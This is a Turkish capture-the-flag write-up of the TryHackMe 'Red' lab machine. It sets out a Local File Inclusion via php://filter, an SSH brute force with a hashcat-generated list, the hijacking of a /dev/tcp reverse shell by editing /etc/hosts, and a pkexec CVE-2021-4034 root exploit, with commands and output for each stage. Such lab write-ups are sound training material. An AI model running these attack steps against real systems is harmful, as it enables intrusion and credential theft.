Post

TryHackMe | Red WriteUp

TryHackMe | Red WriteUp

Özet

Web uygulamasında bulunan “Local File Inclusion” zafiyetinden yararlanarak “blue” kullanıcısının dizinideki gizli dosyayı keşfedeceğiz. Bu dosyadaki yönergeleri takip ederek bir parola listesi oluşturacak ve bu parola listesini kullanarak SSH servisine deneme yanılma saldırısı yapacağız. Sonucunda elde ettiğimiz parolayı kullanarak SSH servisine bağlanacak ve yetki yükseltmek için bir takım kontroller yapacağız. Arka planda çalışan bağlantıyı fark ettikten sonra domain’in IP adresini değiştirecek ve bağlantıyı kendi makinemize yönlendireceğiz. Sonrada zafiyetli pkexec uygulamasını fark edecek ve internette bulduğumuz bir sömürü aracını kullanarak yetki yükselteceğiz.

Makine hakkında ek bilgiler

  • Makineye bağlanan kullanıcıların bağlantıları sonlandırılıp, parolaları değiştiriliyor.
  • Odağımızı bozacak mesajlar ile karşılaşabiliriz.

Keşif aşaması

Nmap taraması

1
2
3
4
5
6
7
8
9
10
11
12
$ nmap -sV -sC -T4 10.10.35.115
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e2:74:1c:e0:f7:86:4d:69:46:f6:5b:4d:be:c3:9f:76 (RSA)
|   256 fb:84:73:da:6c:fe:b9:19:5a:6c:65:4d:d1:72:3b:b0 (ECDSA)
|_  256 5e:37:75:fc:b3:64:e2:d8:d6:bc:9a:e6:7e:60:4d:3c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Atlanta - Free business bootstrap template
|_Requested resource was /index.php?page=home.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Bulgular

  • Web uygulaması hazır web teması içeriyor.
  • Tema sayfaları index.php dosyasına gönderilen “page” parametresi ile sayfaya dahil ediliyor.

80 numaralı port’un incelenmesi

Kullanılan hazır tema düzenlenmemiş gibi duruyor. “page” parametresinin aldığı değeri /etc/passwd ve türevleri olacak şekilde değiştirdiğimde her seferinde home.html sayfasına yönlendiriyor. Sistemde bulunan dosyaları görüntüleyebilmek için parametreye “php://filter/convert.base64-encode/resource=/etc/passwd” şeklinde bir değer girdiğimde ise base64 ile kodlanmış olarak dosya içeriğini okuyabiliyorum.

Sömürü aşaması

1
2
3
4
5
$ curl -s http://10.10.35.115/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd | base64 -d                                                                          
root:x:0:0:root:/root:/bin/bash
...
blue:x:1000:1000:blue:/home/blue:/bin/bash
red:x:1001:1001::/home/red:/bin/bash

Sistemde root haricinde “red” ve “blue” olmak üzere iki kullanıcı var. “blue” kullanıcısının dizinindeki .bash_history isimli dosyayı kontrol ettiğimizde, aynı dizindeki .reminder dosyasında bulunan bir metni kullanarak hashcat ile belli kurallar dahilinde bir parola listesi oluşturduğunu görüyoruz.

1
2
3
4
5
6
7
$ curl -s http://10.10.35.115/index.php?page=php://filter/convert.base64-encode/resource=/home/blue/.bash_history | base64 -d
echo "Red rules"
cd
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt
cat passlist.txt
rm passlist.txt
sudo apt-get remove hashcat -y

“.reminder” isimli dosyanın içeriği aşağıdaki şekildedir.

1
2
$ curl -s http://10.10.35.115/index.php?page=php://filter/convert.base64-encode/resource=/home/blue/.reminder | base64 -d
sup3r_p@s$w0rd!

Red kullanıcısının blue kullanıcısı için oluşturduğu parola listesini aynı komutu kullanarak oluşturalım.

1
2
$ nano .reminder
$ hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt

Daha sonra elde ettiğimiz parola listesini kullanarak SSH servisine deneme yanılma saldırısı yapalım.

1
2
3
4
5
$ hydra -l blue -P passlist.txt ssh://10.10.35.115
[DATA] attacking ssh://10.10.35.115:22/
[22][ssh] host: 10.10.35.115   login: blue   password: sup3r_p@s$w0sup3r_p@s$w0
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-20 04:28:00

Elimizdeki kullanıcı bilgilerini kullanarak SSH servisine bağlandıktan sonra bulunduğumuz dizinde ilk bayrağı görüyoruz.

1
2
3
4
blue@red:~$ ls
flag1
blue@red:~$ cat flag1 
THM{***?}

Başta belirtiğim gibi ara ara bağlantı sonlandırılıyor ve parola değiştiriliyor. Aynı parola listesini kullanarak tekrar tekrar deneme yanılma saldırısı yapmanız gerekebilir.

Yetki yükseltme

Red

“ps aux” komutunu kullandığımızda arka planda red kullanıcısının redrules.thm adresinin 9001 portuna bağlandığını görüyoruz.

1
2
3
4
5
6
blue@red:/var/backups$ ps aux
...
red         2557  0.0  0.0   6972  2496 ?        S    08:31   0:00 bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &
red         2582  0.0  0.0   6972  2692 ?        S    08:32   0:00 bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &
root        2593  0.0  0.0      0     0 ?        I    08:32   0:00 [kworker/u30:1-events_unbound]
red         2628  0.0  0.0   6972  2696 ?        S    08:33   0:00 bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &

/etc/hosts dosyasına domain ile beraber makinemizin IP adresini girdikten bir süre sonra red kullanıcısının adına bir bağlantı alıyoruz. Dosyayı temizlediği için bu işlemi bağlantı alana kadar bir kaç kez tekrar etmeniz gerekebilir.

Bağlantı geldikten sonra kendi dizininden ikinci bayrağı alıyoruz.

1
2
red@red:~$ cat flag2 
THM{***}

Root

/home/red/.git/ dizini içerisinde “pkexec” adında bir dosya bulunuyor. Bu dosyaya SUID izni verilmiş ve zafiyetli bir sürümü kullanılıyor.

1
2
3
4
5
6
red@red:~/.git$ ls -la
drwxr-x--- 2 red  red   4096 Aug 14  2022 .
drwxr-xr-x 4 root red   4096 Aug 17  2022 ..
-rwsr-xr-x 1 root root 31032 Aug 14  2022 pkexec
red@red:~/.git$ ./pkexec --version
pkexec version 0.105

Adını ve sürümünü internette arattıktan sonra bu sayfa ile karşılaştım. Verilen python kodlarını düzenleyip kayıt ettikten sonra çalıştırdım ve başarıyla root haklarına sahip oldum.

1
2
3
4
5
6
7
8
9
10
11
12
red@red:~/.git$ ls
CVE-2021-4034.py  pkexec
red@red:~/.git$ python3 CVE-2021-4034.py 
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1001(red) groups=1001(red)
# cd /root
# ls
defense  flag3  snap
# cat flag3
THM{***}
This post is licensed under CC BY 4.0 by the author.